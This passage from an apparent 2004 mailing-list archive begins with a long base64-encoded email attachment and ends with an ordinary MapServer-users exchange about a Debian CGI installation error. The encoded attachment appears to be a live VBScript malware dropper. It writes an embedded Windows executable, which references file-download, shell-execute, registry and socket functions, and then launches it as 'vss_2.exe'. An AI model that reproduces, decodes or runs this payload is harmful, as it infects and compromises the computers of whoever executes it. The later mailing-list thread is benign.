MDgsMjQ2LDEwMCwxMTEsNjksMTE2LDMyLDc1LDEwMSwxMjEsMTQsMTE0LDEwMiwxMTUsMTEx LDIxNywxNCwyMjMsMTMsODQsNzgsMTUyLDE2MywxNTcsMTU3LDMyLDMzLDY2LDI0MCwzMSwx MywyMDEsMTEwLDc3LDExMSwxNDQsOTUsOTgsNzQsNjgsNjcsMTgyLDIxNywxNTUsMjksNzQs MTA5LDEyNSw5NSwyMiw5LDIyNSw5OSw1OSwxNDAsNTcsNzAsODksMTExLDIyOCwxMDgsMTc2 LDE0MSwxMDksMTMwLDU5LDczLDgwLDEzMSwzOCwxMTgsMjM5LDI0LDE3OSw4OSwxMDcsODEs OTIsMTQsNDcsMjA3LDE4NCwxMTgsMTk1LDIyMCwxMDgsOCw2MiwxOTgsNjYsMTA3LDU1LDIx OSwyMTQsMTIsMTAzLDI1Miw4NCwxNjUsMTMxLDgxLDExNCwxNjcsODgsMjIzLDc2LDczLDU0 LDUyLDgxLDQ5LDYsMTA5LDc5LDExMCw3MiwyMTksOTAsMTM1LDczLDIxMiw1OSwxNCwxMDYs MTA1LDEwLDIyNSwxMDUsNTQsNzEsNzEsMjEzLDk4LDAsODMsMTcxLDUyLDkxLDE5NSwxNjMs MTA4LDE4MSw2Niw2NSw2OSwxMTAsNjQsMjQ2LDIxNiwyNywyMzgsNjMsMjIzLDExNCw3Myw2 NSw5LDY4LDExNywxMTIsOCwyMTcsMTk4LDk2LDExMCwyLDE4LDg0LDEzMywxMDksOSwyNDUs MTY3LDIzMywyMjAsODIsMzksNTcsMTIyLDg4LDg1LDgyLDc2LDY4LDE2NiwxNTUsMjI4LDE4 NiwxMDEsMTEwLDEwOCw2NCwxMDUsMjgsMTMzLDEwNCw1NCwxMDksMTU3LDk2LDEyNSwxMTIs MjAxLDExNiwxMDIsNzcsMjksNTksNDQsMjM2LDUyLDk3LDEwMyw4MCwxMTEsMTQ0LDI1NSwx MTUsMTA3LDEwOSwyNSwxMDIsMTA5LDE0OSwxMTIsMTY0LDUzLDEyMiwxMTksMTQ5LDI2LDc5 LDIzOCwyMjIsMjgsMTA0LDg1LDI3LDE3MCwyOCw3OSw3OSwyMTEsNzMsMTQ0LDEyMCw3Mywy MjEsMTEwLDE4NiwyMzYsMTA3LDIxNywxNDYsMiwyMCwxMTYsNjUsMTQsMTQwLDEyOCwxNDks NDYsODUsOTIsMTcsMjQzLDU0LDY3LDIxOSwxMTIsMTEwLDExMCw4MiwxMDEsMTAwLDE5NSw0 Nyw4OSwxNTYsMTg1LDE4MiwyMzgsMTA1LDE0MCwxMDUsMzEsOTUsMTg4LDEwMCw1OSw2NSw2 NCwxNjMsMTc3LDE1OCwxMTYsMTkyLDI0OCw4NSwxNTIsMTU3LDIwNCwzMywxMiw5OCwxMjEs MTQsNzIsMTIxLDIzMywxMDcsMTkyLDgwLDg4LDk5LDEyOCwxMTUsMywxMDcsMTAxLDExNiwx OTEsMjAyLDkxLDExMCw5OCwxODksMTE0LDk3LDk5LDk5LDM3LDgzLDY1LDEyOSwyMTUsMjgs MTE5LDkyLDExNCwxMTYsMTE3LDQ4LDM1LDI1LDEyMSw1NCwyNTEsMTAyLDE3NCwxMTgsNTAs MTIyLDIwLDEwOCw3LDYyLDI0OSw0NywxOTksOTYsMjA1LDgwLDY5LDc2LDEsNCwwLDIwNCwx NSwxNDQsNjQsMTU4LDUyLDI1NSwxNSwyMjQsMCwxNSwxLDExLDEsNSwxMiwwLDY4LDg2LDcy LDgwLDI1MSwxMiw3LDIsMjIzLDg4LDEzLDY0LDExLDExMCwyMiwxMDgsNTcsMiw0LDUxLDcs MTIsMTkyLDIwNiwyMjAsMTQ2LDIwOCwzMCw1MiwxNiw3LDE3OSwxODgsMzYsMjIyLDYsNzks MjA4LDk3LDIyMCw5MywzMiwxNDQsMjAzLDE5MiwxNjAsMywxNjcsMTk2LDI1MSwxNTQsMTc0 LDE3NiwxLDMwLDQ2LDE5NSwxMTYsMjM1LDY2LDE0NCwxMTksMjMsMjQ2LDUsMjM1LDQsMzUs MzIsMzAsNDYsMTE0LDEwMCwxMTYsMTMxLDIzNywxMCwxNzUsMTYzLDcwLDExLDI1MSwxMiwz OSw3MiwyMTcsOTgsMjIxLDEzMyw2NCwyLDQ2LDM4LDcxLDExNywxMDksNzQsMTU0LDIzOCwx MTIsMzksNTgsODQsMTkyLDc5LDYsMjcsMTA4LDEyOSwxMTUsMTMwLDAsMjM1LDE5MiwxMTUs MTQyLDE5MiwxOTEsMjIzLDIwMiwzOSwyNywxMTIsMTAwLDEzLDMzLDE5OCwwLDAsMCwwLDAs MCwwLDAsMzIsMSwyNTUsMCwwLDk2LDE5MCwzNywxNjAsNjQsMCwxNDEsMTkwLDIxOSwxMTEs MjU1LDI1NSw4NywxMzEsMjA1LDI1NSwyMzUsMTYsMTQ0LDE0NCwxNDQsMTQ0LDE0NCwxNDQs MTM4LDYsNzAsMTM2LDcsNzEsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwyMzgsMjUyLDE3LDIx OSwxMTQsMjM3LDE4NCwxLDAsMCwwLDEsMjE5LDExNyw3LDEzOSwzMCwxMzEsMjM4LDI1Miwx NywyMTksMTcsMTkyLDEsMjE5LDExNSwyMzksMTE3LDksMTM5LDMwLDEzMSwyMzgsMjUyLDE3 LDIxOSwxMTUsMjI4LDQ5LDIwMSwxMzEsMjMyLDMsMTE0LDEzLDE5MywyMjQsOCwxMzgsNiw3 MCwxMzEsMjQwLDI1NSwxMTYsMTE2LDEzNywxOTcsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwy MzgsMjUyLDE3LDIxOSwxNywyMDEsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwyMzgsMjUyLDE3 LDIxOSwxNywyMDEsMTE3LDMyLDY1LDEsMjE5LDExNyw3LDEzOSwzMCwxMzEsMjM4LDI1Miwx NywyMTksMTcsMjAxLDEsMjE5LDExNSwyMzksMTE3LDksMTM5LDMwLDEzMSwyMzgsMjUyLDE3 LDIxOSwxMTUsMjI4LDEzMSwxOTMsMiwxMjksMjUzLDAsMjQzLDI1NSwyNTUsMTMxLDIwOSwx LDE0MSwyMCw0NywxMzEsMjUzLDI1MiwxMTgsMTUsMTM4LDIsNjYsMTM2LDcsNzEsNzMsMTE3 LDI0NywyMzMsOTksMjU1LDI1NSwyNTUsMTQ0LDEzOSwyLDEzMSwxOTQsNCwxMzcsNywxMzEs MTk5LDQsMTMxLDIzMyw0LDExOSwyNDEsMSwyMDcsMjMzLDc2LDI1NSwyNTUsMjU1LDk0LDEz NywyNDcsMTg1LDcsMCwwLDAsMTM4LDcsNzEsNDQsMjMyLDYwLDEsMTE5LDI0NywxMjgsNjMs MCwxMTcsMjQyLDEzOSw3LDEzOCw5NSw0LDEwMiwxOTMsMjMyLDgsMTkzLDE5MiwxNiwxMzQs MTk2LDQxLDI0OCwxMjgsMjM1LDIzMiwxLDI0MCwxMzcsNywxMzEsMTk5LDUsMTM3LDIxNiwy MjYsMjE3LDE0MSwxOTAsMCwxOTIsMCwwLDEzOSw3LDksMTkyLDExNiw2MCwxMzksOTUsNCwx NDEsMTMyLDQ4LDE2NCwyMjcsMCwwLDEsMjQzLDgwLDEzMSwxOTksOCwyNTUsMTUwLDEyOCwy MjgsMCwwLDE0OSwxMzgsNyw3MSw4LDE5MiwxMTYsMjIwLDEzNywyNDksODcsNzIsMjQyLDE3 NCw4NSwyNTUsMTUwLDEzMiwyMjgsMCwwLDksMTkyLDExNiw3LDEzNywzLDEzMSwxOTUsNCwy MzUsMjI1LDI1NSwxNTAsMTM2LDIyOCwwLDAsOTcsMjMzLDQsMTA4LDI1NSwyNTUsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDIsMCwzLDAs MCwwLDMyLDAsMCwxMjgsMTQsMCwwLDAsOTYsMCwwLDEyOCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMSwwLDEsMCwwLDAsNTYsMCwwLDEyOCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMCwwLDAsODAsMCwwLDAsMTY0LDI0MCwwLDAsMjMyLDIsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMSwwLDEsMCwwLDAsMTIw LDAsMCwxMjgsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEsMCwwLDAsMCwwLDE0NCww LDAsMCwxNDQsMjQzLDAsMCwyMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTYwLDE5MiwwLDAs NDAsMCwwLDAsMzIsMCwwLDAsNjQsMCwwLDAsMSwwLDQsMCwwLDAsMCwwLDEyOCwyLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEyOCwwLDAsMTI4 LDAsMCwwLDEyOCwxMjgsMCwxMjgsMCwwLDAsMTI4LDAsMTI4LDAsMTI4LDEyOCwwLDAsMTI4 LDEyOCwxMjgsMCwxOTIsMTkyLDE5MiwwLDAsMCwyNTUsMCwwLDI1NSwwLDAsMCwyNTUsMjU1 LDAsMjU1LDAsMCwwLDI1NSwwLDI1NSwwLDI1NSwyNTUsMCwwLDI1NSwyNTUsMjU1LDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCw3LDExOSwxMTksMTE5LDExOSwxMTksMTE5LDAsMCwwLDAsMCwwLDAsMCww LDcsMTM2LDEzNiwxMzYsMTM2LDEzNiwxMzUsMCwwLDAsMCwwLDAsMCwwLDAsNyw1NiwxMzYs NTEsNTYsMTM2LDU1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTc5LDEzMSwwLDMsMTMxLDEzNSww LDAsMCwwLDAsMCwwLDAsMCw3LDI1NSw0OCwyNTUsMTc2LDU2LDEzNSwwLDAsMCwwLDAsMCww LDAsMCw3LDE4NCwxNSwxOTEsMjU1LDMsMTM1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTI4LDE5 MSwyNTUsMTkxLDI0MCw1NSwwLDAsMCwwLDAsMCwwLDAsMCw3LDE1LDI1NSwxOTEsMjU1LDE5 MSwzLDAsMCwwLDAsMCwwLDAsMCwwLDcsMjU1LDE5MSwyNTUsMTkxLDI1NSwxNzYsMCwwLDAs MCwwLDAsMCwwLDAsNywxMTksMTE5LDExOSwxMTksMTE5LDExOSwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgs MSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEy OCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMTM2LDE5 NSwwLDAsMCwwLDEsMCwxLDAsMzIsMzIsMTYsMCwxLDAsNCwwLDIzMiwyLDAsMCwxLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMjE2LDI0NCwwLDAsMTI4LDI0NCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMjI5LDI0NCwwLDAsMTQ0LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMjQyLDI0NCwwLDAsMTUyLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMjUyLDI0NCwwLDAsMTYwLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNiwy NDUsMCwwLDE2OCwyNDQsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE4LDI0NSwwLDAs MTc2LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMzAsMjQ1LDAsMCwxODQsMjQ0 LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw0MSwyNDUsMCwwLDE5MiwyNDQsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDUyLDI0NSwwLDAsMjAwLDI0NCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsNjQsMjQ1LDAsMCwyMDgsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNzYsMjQ1LDAsMCw5MCwyNDUsMCwwLDEwNiwyNDUs MCwwLDAsMCwwLDAsMTIwLDI0NSwwLDAsMCwwLDAsMCwxMzQsMjQ1LDAsMCwwLDAsMCwwLDE0 NCwyNDUsMCwwLDAsMCwwLDAsMTU4LDI0NSwwLDAsMCwwLDAsMCwxNzQsMjQ1LDAsMCwwLDAs MCwwLDE4NCwyNDUsMCwwLDAsMCwwLDAsMjA0LDI0NSwwLDAsMCwwLDAsMCwyMTYsMjQ1LDAs MCwwLDAsMCwwLDIzMiwyNDUsMCwwLDAsMCwwLDAsNzUsNjksODIsNzgsNjksNzYsNTEsNTAs NDYsNjgsNzYsNzYsMCw5NywxMDAsMTE4LDk3LDExMiwxMDUsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMDMsMTAwLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExMSwxMDgsMTAxLDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsODMsNzIsNjksNzYsNzYsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMTUsMTA0LDEwOCwxMTksOTcsMTEyLDEwNSw0NiwxMDAsMTA4LDEwOCwwLDExNywx MTQsMTA4LDEwOSwxMTEsMTEwLDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNSwxMDEsMTE0LDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTE5LDEwNSwxMTAsMTA1LDExMCwxMDEsMTE2LDQ2LDEw MCwxMDgsMTA4LDAsMTE5LDExNSwxMTEsOTksMTA3LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAs MCwwLDc2LDExMSw5NywxMDAsNzYsMTA1LDk4LDExNCw5NywxMTQsMTIxLDY1LDAsMCw3MSwx MDEsMTE2LDgwLDExNCwxMTEsOTksNjUsMTAwLDEwMCwxMTQsMTAxLDExNSwxMTUsMCwwLDY5 LDEyMCwxMDUsMTE2LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMCwwLDAsODIsMTAxLDEw Myw2NywxMDgsMTExLDExNSwxMDEsNzUsMTAxLDEyMSwwLDAsMCw2OCwxMDEsMTA4LDEwMSwx MTYsMTAxLDY4LDY3LDAsMCw2NywxMTEsNzMsMTEwLDEwNSwxMTYsMTA1LDk3LDEwOCwxMDUs MTIyLDEwMSwwLDAsODMsMTA0LDEwMSwxMDgsMTA4LDY5LDEyMCwxMDEsOTksMTE3LDExNiwx MDEsNjUsMCwwLDAsODMsMTE2LDExNCw2OCwxMTcsMTEyLDY1LDAsMCwwLDg1LDgyLDc2LDY4 LDExMSwxMTksMTEwLDEwOCwxMTEsOTcsMTAwLDg0LDExMSw3MCwxMDUsMTA4LDEwMSw2NSww LDAsMTE5LDExNSwxMTIsMTE0LDEwNSwxMTAsMTE2LDEwMiw2NSwwLDAsMCw3MywxMTAsMTE2 LDEwMSwxMTQsMTEwLDEwMSwxMTYsNzksMTEyLDEwMSwxMTAsNjUsMCwwLDAsOTgsMTA1LDEx MCwxMDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTcsMTQ3LDE4Miwx OTgsNDEsOTQsNzQsNjUsMjUsNTEsNDAsNzEsODUsNzMsMTM1LDE3Nyw0NiwxMjYsMTk5LDEx NCw3OCwzLDE2OSwxOTUsMTg3LDc4LDIsOTMsODksNDEsMTk0LDE0NiwxMDYsMzksMTg1LDc3 LDE5MiwxNzEsMTEwLDE0NywxMSwyOSwxMDMsMTYxLDY5LDkzLDEzMiw1NiwxMjAsNzAsMTQz LDExNSwxLDg1LDM4LDY4LDE3NiwxNDQsMTI4LDM5LDE3LDg3LDQ5LDEyNCw3OCwxMCwxMjAs MTE2LDgzLDExNyw1NiwzNCw0NCw5LDMxLDU2LDMwLDE2MCwxMzQsMTYwLDE4OSwxOCw2Mywx NDgsOTMsNCwzOSwxNDgsNjcsODUsMTg2LDE1LDg5LDE0MCwzOCwxMiwxMzEsMTUyLDE3Niwx Niw1NywxNjAsMTYwLDM5LDEzOSwxNzAsMTE2LDk1LDI0LDExNiwxMDIsNDEsMTAyLDEzNCw4 NywxNDQsNzYsMTY1LDE1NSw1OSwxNzAsNjAsNjksNDIsMjAsODUsMTQ4LDE4Myw0MywxMzUs MTg3LDIyLDY4LDU5LDI4LDIxLDY1LDEzMiwxNDEsMTkxLDksMzQsNjYsNjEsODYsMywzNiwx NDIsMTcxLDE2MSw1LDIwLDEyNyw1MSwxNjAsMTE5LDEwOSw2NCwxNyw2MCwxMDgsMzUsNzMs MTM2LDg4LDQwLDIwLDU0LDE0MywxMDIsOTAsNDMsNDcsMTUsMTMzLDE2OSwxNzgsMTAyLDE4 NSwxMjYsNzgsNzIsMTA3LDE3NCwxODgsMTQyLDUyLDE3MSwxNDMsMTk5LDUwLDEwOSw3NSwz NSw4LDYwLDEyNywxNDIsMTMzLDYzLDE4MywxNzMsMTk0LDE1Miw5NSw5NSwxLDE1OSw2MSwx OTUsMzgsODAsNDUsNjMsMTMsMTQsNyw1MCw4NiwxODIsMTU3LDEyNiwyNywxMSwyMiwxODYs NTIsNDUsMTk0LDE3NCwxNjAsMTAxLDY1LDQwLDY2LDE0MCwzMSw0MCwxOTIsMTIyLDE4Mywy OSwzOSwxOTEsNzksNTIsNTksMTExLDQwLDExOSw3NiwyLDU3LDI2LDE2NCw4NCwxMzgsMjMs MTgwLDE1NywxMzIsMjMsMTQ3LDE1MCw1NSwxNzcsNDksMTg2LDExMSwxMzIsMTY0LDE3OCw2 NiwwLDE5MCw3MSw2MiwxLDE1MiwxMzgsMTUzLDEwMyw5MSwxNzcsNDYsNjEsMjIsMTcsMTAx LDE2NCwyOCwxNzYsMTY2LDEzNywxNTQsMTA4LDExOCwxMDcsMTU4LDE2MCwxNzgsMjEsMTM4 LDI1LDEzMCwxMzgsMjYsNzMsODMsNTAsNDMsNzAsNTAsMTQyLDkxLDAsMTU4LDEzOCw3Niw3 NSwxNTcsMTAyLDEzMCwxNTYsMTgyLDE1MiwzLDE0NiwyNSwxNDEsMTYyLDI4LDQzLDc4LDE3 OSwxMTMsNjcsMTk5LDM5LDQ2LDEwMSw5LDEzNiwxMjgsMTE2LDUwLDE2NiwxMzEsMTIwLDkw LDc4LDEzMywxMTEsMTAyLDE4LDE1OSwxNTksMTkxLDU2LDc5LDE1NCw3OSwxMjMsMTk3LDcz LDE5Nyw0NSwwLDgwLDUwLDEwMSwxNjEsOTIsMTAzLDE4Niw3OCwxMjcsMTc5LDEzMCw4Miwy NywxMjEsMzYsMTEyLDE3OSwxMzAsMTgzLDQsMTM4LDE5NSw1OSwxMTYsNDMsOTksMzAsMTIx LDE3LDEsMTQxLDE0MywxOTUsNTgsMTk5LDEyOSwxMTUsMTkxLDI4LDY1LDExNSw0OSw2Mywx NzIsMTcxLDE3MSwxMDYsMTY2LDExNSw0NywxNzAsMTQ3LDQ2LDg4LDE1Myw3NSw0OSwyNSw4 NCwxMyw0MCwxNSw4OSwxNjAsMzgsMTI1LDE5Miw1Miw4NywxMSwxNywxNjQsMTY1LDExOSw1 OSwxODYsOTcsMTY4LDI2LDgyLDE0MSwxNjcsODgsMTksMTA1LDQwLDEzMyw4MiwxNzgsMTU2 LDEwMiw0Niw5NCwxMjUsMTQ0LDg2LDEzOSwxNjgsNDUsNjYsMTkxLDY4LDEzOCw2OSwxMjUs OSwxNjgsNzYsNzgsMTk5LDY5LDE1NCwxNzYsMTQ4LDM0LDE5NywxNjQsMTM5LDcsMjcsNTYs NTUsNDEsMTkxLDE4MCwxMjgsMTAyLDUsMTA3LDE3OCw3OCwxNzAsMTM4LDMxLDExMSw1OSwx ODIsMTc4LDE0OCwxMzIsMTY3LDc2LDYwLDExNyw4NywxMzMsMTUzLDQ3LDc4LDExOCwxNzMs MTI4LDEwOCwxMjUsMzgsNjQsMjAsNTQsNTEsMTY2LDIyLDExNiw1Myw0NiwxMzQsMTI1LDk0 LDY5LDUxLDE0NywxNjYsMTQ1LDE2NiwxNzMsMTgyLDksMTY5LDQzLDUsNjIsMjYsMTYsMTQw LDk0LDE5MSw3OSwxLDE5NywxMCwxOTEsMTQzLDc5LDQ1LDYsNCwxMjMsMTgxLDE1OCw0Mywx NzQsNTIsMTQxLDExNCwzMiwxNzMsMTM0LDE1MSw1OCwxNzgsMTg5LDE1NiwxMTAsMTk3LDE0 NSw1OCw2MCwxNDksMTk4LDEyNSwyOCw3NywxNDYsMjYsODksMTgxLDE2NiwxNTcsMTczLDk5 LDE1MCwxMTEsMTE0LDE1Niw1Nyw1NCwxMzcsMTkzLDEwLDEsMjMsMTQsMTY0LDU1LDE5Mywx NDMsNTgsNjAsMTA1LDksMTkwLDE3LDQ5LDEwNSwxMzgsMTI1LDE2MiwxMTAsNjUsODMsODQs MTY2LDgsMTM1LDEwOCwxMzAsMTk5LDM5LDc3LDEwMiwxNzcsMTQzLDE4NCwyMCw5OCw2NCwx MjgsMTI1LDM0LDExMiwzNywxODcsOTcsNjYsMTE1LDEwMCwyNywxNjIsNTgsNzQsMTA5LDEx NSwxODMsNzEsNTksMTc4LDE0Niw2NywzNiw1LDExNiwxODIsMTEwLDE1NSwxNTYsOTcsMTcs MzgsNDcsMTE0LDE3Niw5OSwxODYsMTM4LDEwOSwyOCwzNSwxNTEsNSwxNjgsNzIsMTU5LDE5 MCwwLDI1LDE5MCwzOSw2NCwyNiw2MSw1OSwxMzMsMTI4LDE4MSwxOTMsODEsNjYsMTYyLDQ0 LDU0LDYyLDkxLDE0MCwxMTYsMTc5LDExMCwxMjYsNjQsMzEsNDgsNjMsODcsOTQsOTQsMTkw LDE5MywxOTksMTE1LDc4LDgxLDkzLDExNywxODIsNTEsMTMyLDE2MCwxMjAsMzEsNDksNDks MTcxLDEzMCw1MSw5MSw4Nyw1NiwxOCwxNjUsOTIsMTUsMTcxLDExNSwxNTAsNjQsMTksODgs ODgsMTA4LDEwOSwxNTUsMzIsOTAsODgsOCwxMzEsMzgsMTc0LDM0LDM5LDIzLDg2LDEzMiwx MzUpDQpmb3IgaT0wIHRvIDIwNzM3DQpmaWxldHh0LldyaXRlKGNocihhKGkpKSkNCm5leHQN CmZpbGV0eHQuQ2xvc2UNCmRpbSB6DQpkaW0genoNCkNvbnN0IEZvclJlYWRpbmcgPSAxLCBG b3JXcml0aW5nID0gMiwgRm9yQXBwZW5kaW5nID0gMw0KY29uc3QgUmVtb3RlRXhlID0gInZz c18yLmV4ZSINCnNldCB6eiA9IHdzY3JpcHQuY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxs IikNCnogPSB6ei5ydW4gKCJ2c3NfMi5leGUiKQ0Kd3NjcmlwdC5xdWl0DQo= ----------ixkeuoehfkanuhoiudpi-- From moeller at basis5.de Tue Jun 15 04:28:27 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Tue, 15 Jun 2004 13:28:27 +0200 Subject: [Mapserver-users] cgi-apt-get debian In-Reply-To: <37222.65.198.76.162.1087297594.squirrel@redington.me3.com> References: <40CDA27A.2050404@basis5.de> <37222.65.198.76.162.1087297594.squirrel@redington.me3.com> Message-ID: <40CEDD5B.2070305@basis5.de> thanks the error: Premature end of script headers: /www/1/cgi-bin/mapserv not very usefull I think : ( lars James Cradock schrieb: > Lars, > > What's the output from Apache's error log? It should be in > /var/log/apache/error.log. Or try this from a terminal (command line) > window: > > tail -f /var/logl/apache/error.log | grep mapserv > > Jim > > >> >>hello list, >> >>has someone installed mapserver via apt-get on debian? >>it installs the mapserv under /usr/lib/cgi-bin/mapserv >>calling the file directly gives: >>This script can only be used to decode form results and >>should be initiated as a CGI process via a httpd server. >>that should be ok. >>calling mapser -V gives: >>MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ >>SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT >>SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR >>INPUT=GDAL INPUT=SHAPEFILE >>that is also ok. >> >>if I copie the file (mapserv) in the cgi -directory of the apache and >>calling it from the web i get internal server error. >> >>what is wrong? >>thanks for ideas and help >> >>lars >> >> >> >>_______________________________________________ >>Mapserver-users mailing 